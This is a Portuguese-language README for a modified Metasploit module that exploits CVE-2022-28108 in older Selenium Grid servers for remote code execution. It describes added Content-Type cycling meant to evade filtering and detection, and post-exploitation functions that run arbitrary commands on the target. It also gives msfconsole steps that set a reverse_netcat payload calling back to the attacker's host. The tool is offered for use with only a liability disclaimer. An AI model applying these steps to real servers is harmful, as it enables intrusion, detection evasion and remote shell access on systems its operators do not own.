
Módulo Metasploit explorando CVE-2022-28108 no Selenium Grid para execução remota de código, com evasão de content-type e capacidades pós-exploração.
Este repositório contém uma versão modificada de um módulo do Metasploit que explora uma vulnerabilidade de Execução Remota de Código em versões antigas do Selenium Server (Grid).
Por favor, leia este README cuidadosamente antes de usar este código.
Reconhecimento do Código Original:
Este módulo é baseado no excelente trabalho dos autores originais do módulo do Metasploit para o CVE-2022-28108. A funcionalidade principal de exploração da vulnerabilidade do Selenium Server permanece em grande parte baseada na implementação deles. Reconhecemos e apreciamos sua contribuição para a comunidade de segurança.
'Author'). Consulte o módulo original para seus nomes específicos.Vulnerabilidade Explorada:
Este módulo tem como alvo CVE-2022-28108, uma vulnerabilidade de Cross-Site Request Forgery (CSRF) no Selenium Server (Grid) em versões anteriores a 4.0.0-alpha-7. Esta vulnerabilidade surge porque o servidor permite tipos de conteúdo não JSON (como text/plain, application/x-www-form-urlencoded, e multipart/form-data) para certas requisições. Um atacante pode aproveitar isso para enviar requisições maliciosas, levando à Execução Remota de Código (RCE) no servidor.
Como o Código Original Funciona:
O módulo original do Metasploit explora esta vulnerabilidade enviando uma requisição POST manipulada para o endpoint /wd/hub/session do Selenium Server vulnerável. Esta requisição utiliza um Content-Type não JSON (especificamente text/plain) e inclui configurações maliciosas dentro do goog:chromeOptions das capacidades desejadas do navegador. Isso permite que um atacante especifique um binário arbitrário (como /usr/bin/python3) e argumentos a serem executados no servidor quando uma nova sessão de navegador for iniciada.
Modificações e Melhorias nesta Versão:
Este repositório contém uma versão modificada do módulo original do Metasploit. As principais modificações incluem:
Content-Type diferentes. Isso inclui text/plain, application/x-www-form-urlencoded, e multipart/form-data. Isso é feito para potencialmente contornar mecanismos básicos de filtragem ou detecção que possam estar procurando um Content-Type específico.execute_post_exploitation: Uma nova função execute_post_exploitation(session_response) foi adicionada. Esta função é chamada após a exploração bem-sucedida e visa realizar tarefas básicas de pós-exploração. Na implementação atual, ela inclui:
execute_command_on_target: Outra nova função execute_command_on_target(command) foi adicionada. Esta função permite a execução de comandos arbitrários no sistema alvo após uma exploração bem-sucedida. Ela é usada dentro da função execute_post_exploitation e pode ser estendida para outras atividades de pós-exploração.Principais Diferenças Destacadas:
A diferença central está no método exploit e na adição das duas novas funções.
exploit Original: Focado em enviar uma única requisição com Content-Type: text/plain.exploit Modificado: Itera por diferentes valores de Content-Type, tentando a exploração com cada um. Após a exploração bem-sucedida, chama a função execute_post_exploitation.execute_post_exploitation e execute_command_on_target são adições inteiramente novas nesta versão modificada, fornecendo capacidades estendidas de pós-exploração.Como Usar o Módulo Modificado:
.rb (por exemplo, selenium_rce_extended.rb)./usr/share/metasploit-framework/modules/exploits/ ou ~/.msf4/modules/exploits/. Consulte sua instalação do Metasploit para a localização exata.msfconsole.use exploit/selenium_rce_extended (ou o caminho onde você salvou o arquivo, se o colocou em um subdiretório).msf6 exploit(selenium_rce_extended) > set RHOSTS <target_ip>
msf6 exploit(selenium_rce_extended) > set RPORT <target_port>
(A porta padrão para o Selenium Grid é geralmente 4444).msf6 exploit(selenium_rce_extended) > set PAYLOAD cmd/unix/reverse_netcat
msf6 exploit(selenium_rce_extended) > set LHOST <your_ip>
msf6 exploit(selenium_rce_extended) > set LPORT <your_port>
exploit.Considerações Importantes (Aviso Legal):
Isenção de Responsabilidade:
O(s) autor(es) deste código modificado não são responsáveis por qualquer uso indevido ou dano causado pelo uso deste módulo. Ao usar este código, você concorda em assumir total responsabilidade por suas ações.
Licença:
Este código modificado provavelmente está coberto pela mesma licença do Metasploit Framework original (normalmente a Licença MSF). Consulte a licença original do Metasploit Framework para obter detalhes.
Contribuindo:
Contribuições e melhorias para este módulo são bem-vindas. Sinta-se à vontade para enviar pull requests com correções de bugs, melhorias ou novos recursos.
Agradecimentos:
Reiteramos nossa gratidão aos autores originais do módulo do Metasploit para o CVE-2022-28108. O trabalho deles forma a base deste módulo modificado.